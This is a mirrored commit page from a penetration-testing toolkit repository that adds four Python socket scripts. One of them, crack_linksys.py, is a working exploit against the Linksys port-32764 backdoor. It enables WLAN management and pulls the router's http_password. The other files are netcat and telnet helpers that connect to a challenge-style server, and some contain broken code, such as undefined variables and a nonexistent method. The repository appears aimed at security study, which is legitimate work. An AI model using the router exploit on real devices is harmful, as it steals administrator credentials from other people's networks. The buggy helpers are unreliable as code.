mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-02 14:56:10 -04:00
802.11 README
This commit is contained in:
parent
34a558b572
commit
9ced30960f
8 changed files with 82 additions and 36 deletions
29
Network_and_802.11/socket/crack_linksys.py
Normal file
29
Network_and_802.11/socket/crack_linksys.py
Normal file
|
@ -0,0 +1,29 @@
|
|||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
#HOST = '192.168.1.1'
|
||||
HOST = '192.168.33.1'
|
||||
PORT = 32764
|
||||
|
||||
def send_message(s, message, payload=''):
|
||||
header = struct.pack('<III', 0x53634D4D, message, len(payload))
|
||||
s.send(header+payload)
|
||||
response = s.recv(0xC)
|
||||
if len(response) != 12:
|
||||
print("Device is not a crackable Linksys router.")
|
||||
print("Recieved invalid response: %s" % response)
|
||||
raise sys.exit(1)
|
||||
sig, ret_val, ret_len = struct.unpack('<III', response)
|
||||
assert(sig == 0x53634D4D)
|
||||
if ret_val != 0:
|
||||
return ret_val, "ERROR"
|
||||
ret_str = ""
|
||||
while len(ret_str) < ret_len:
|
||||
ret_str += s.recv(ret_len-len(ret_str))
|
||||
return ret_val, ret_str
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
send_message(s, 3, "wlan_mgr_enable=1")
|
||||
print send_message(s, 2, "http_password")
|
31
Network_and_802.11/socket/netcat.py
Normal file
31
Network_and_802.11/socket/netcat.py
Normal file
|
@ -0,0 +1,31 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import socket
|
||||
|
||||
|
||||
def netcat(hostname, port, content):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((hostname, port))
|
||||
s.sendall(content)
|
||||
s.shutdown(socket.SHUT_WR)
|
||||
adata = []
|
||||
while 1:
|
||||
data = s.recv(1024)
|
||||
if data == "":
|
||||
break
|
||||
adata.append(data)
|
||||
s.close()
|
||||
return adata
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
PORT = 12345
|
||||
HOSTNAME = '54.209.5.48'
|
||||
message = netcat(HOSTNAME, PORT, '')[1]
|
||||
print message
|
72
Network_and_802.11/socket/reading_socket.py
Normal file
72
Network_and_802.11/socket/reading_socket.py
Normal file
|
@ -0,0 +1,72 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import os
|
||||
import socket
|
||||
import select
|
||||
from time import sleep
|
||||
import binascii
|
||||
from subprocess import Popen,STDOUT,PIPE
|
||||
import os
|
||||
from math import *
|
||||
import string
|
||||
|
||||
|
||||
|
||||
def next_line(stdout):
|
||||
# read inputs in lines
|
||||
line = ""
|
||||
while True:
|
||||
r = stdout.read(1)
|
||||
if r == '\n':
|
||||
break
|
||||
line += r
|
||||
return line
|
||||
|
||||
|
||||
def write(stdin,val):
|
||||
# write outputs
|
||||
stdin.write(val)
|
||||
|
||||
|
||||
def nl():
|
||||
# shorter next line for iteration
|
||||
return next_line(p.stdout)
|
||||
|
||||
|
||||
def wr(val):
|
||||
# shorter write for iteration
|
||||
write(p.stdin,val)
|
||||
|
||||
|
||||
def ntext():
|
||||
line = ""
|
||||
while "psifer text:" not in line:
|
||||
line = nl()
|
||||
return line[len("psifer text:") + 1:]
|
||||
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
SHELL_COMMAND = "nc 54.209.5.48 12345"
|
||||
|
||||
p = Popen(SHELL_COMMAND, shell=True, cwd="./", stdin=PIPE,
|
||||
stdout=PIPE, stderr=STDOUT,close_fds=True)
|
||||
|
||||
|
||||
while True:
|
||||
text = ntext()
|
||||
text += " -> just an example"
|
||||
wr(ans + '\n')
|
||||
|
||||
ret = p.wait()
|
||||
print "Return code: %d" % ret
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
22
Network_and_802.11/socket/reading_telnet.py
Normal file
22
Network_and_802.11/socket/reading_telnet.py
Normal file
|
@ -0,0 +1,22 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
from telnetlib import Telnet
|
||||
|
||||
|
||||
# examples of telnet connections
|
||||
PORT = 12345
|
||||
HOST = '54.209.5.48'
|
||||
|
||||
# creating connection
|
||||
tn = Telnet(HOST ,PORT)
|
||||
|
||||
# reading input
|
||||
msg_in2 = tn.read_all().dec_msg()
|
||||
tn.read_until(b'psifer text: ')
|
||||
|
||||
# writing outputs
|
||||
tn.write(msg.encode() + b'\n')
|
Loading…
Add table
Add a link
Reference in a new issue